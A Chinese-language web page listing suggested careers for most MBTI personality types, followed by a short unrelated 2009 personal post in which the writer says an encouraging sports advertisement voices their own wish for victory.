ESTP:企业家、业务运作顾问、个人理财专家、证券经纪人、银行职员、预算分析者、技术培训人员、综合网络专业人士、旅游代理、促销商、手工艺人、新闻记者、土木／工业／机械工程师。

ESTJ：银行官员、项目经理、数据库经理、信息总监、后勤与供应经理、业务运作顾问、证券经纪人、电脑分析人员、保险代理、普通承包商、工厂主管。

ISFJ：人事管理人员、簿记员、电脑操作员、顾客服务代表、信贷顾问、零售业主、房地产代理或经纪人、艺术人员、室内装潢师、商品规划师、语言病理学者。

ISFP：优先顾客销售代表、行政人员、商品规划师、测量师、海洋生物学者、厨师、室内／风景设计师、旅游销售经理、职业病理专业人员。

ESFP：公关专业人士、劳工关系调解人、零售经理、商品规划师、团队培训人员、旅游项目经营者、表演人员、特别事件的协调人、社会工作者、旅游销售经理、融资者、保险代理／经纪人。

ESFJ：公关客户经理、个人银行业务员、销售代表、人力资源顾问、零售业主、餐饮业者、房地产经纪人、营销经理、电话营销员、办公室经理、接待员、信贷顾问、簿记员、口笔译人员。

INFJ：人力资源经理、事业发展顾问、营销人员、企业组织发展顾问、职位分析人员、企业培训人员、媒体特约规划师、编辑／艺术指导（杂志）、口译人员、社会科学工作者。

INFP:人力资源开发专业人员、社会科学工作者、团队建设顾问、编辑、艺术指导、记者、口笔译人员、娱乐业人士、建筑师、研究工作者、顾问、心理学专家。

ENFP：人力资源经理、变革管理顾问、营销经理、企业／团队培训人员、广告客户经理、战略规划人员、宣传人员、事业发展顾问、环保律师、研究助理、广告撰稿员、播音员、开发总裁。

ENFJ：人力资源开发培训人员、销售经理、小企业经理、程序设计员、生态旅游业专家、广告客户经理、公关专业人士、协调人、交流总裁、作家／记者、非营利机构总裁。

INTJ：管理顾问、经济学者、国际银行业务职员、金融规划师、设计工程师、运作研究分析人员、信息系统开发商、综合网络专业人员。

INTP：电脑软件设计师、系统分析人员、研究开发专业人员、战略规划师、金融规划师、信息服务开发商、变革管理顾问、企业金融律师。

ENTP：人事系统开发人员、投资经纪人、工业设计经理、后勤顾问、金融规划师、投资银行业职员、营销策划人员、广告创意指导、国际营销商。

ENTJ：（人事、销售、营销）经理、技术培训人员、（后勤、电脑信息服务和组织重建）顾问、国际销售经理、特许经营业主、程序设计员、环保工程师

小小渴望。。。

317332630@qq.com(+u因扎林) — Fri, 09 Jan 2009 14:39:10 GMT

赛场上的选手们，能听见我小小的声音吗？哪怕只是13亿分之一的小小渴望，我是绝不会放弃对胜利的信心！因为我也和你们在一起并肩奋战！

不晓得为什么，很喜欢这广告，别人说是因为这陈怡很漂亮，我说不完全是吧，恐怕更多的是道出了我强烈的心声而已。。。（就算是今天又输了）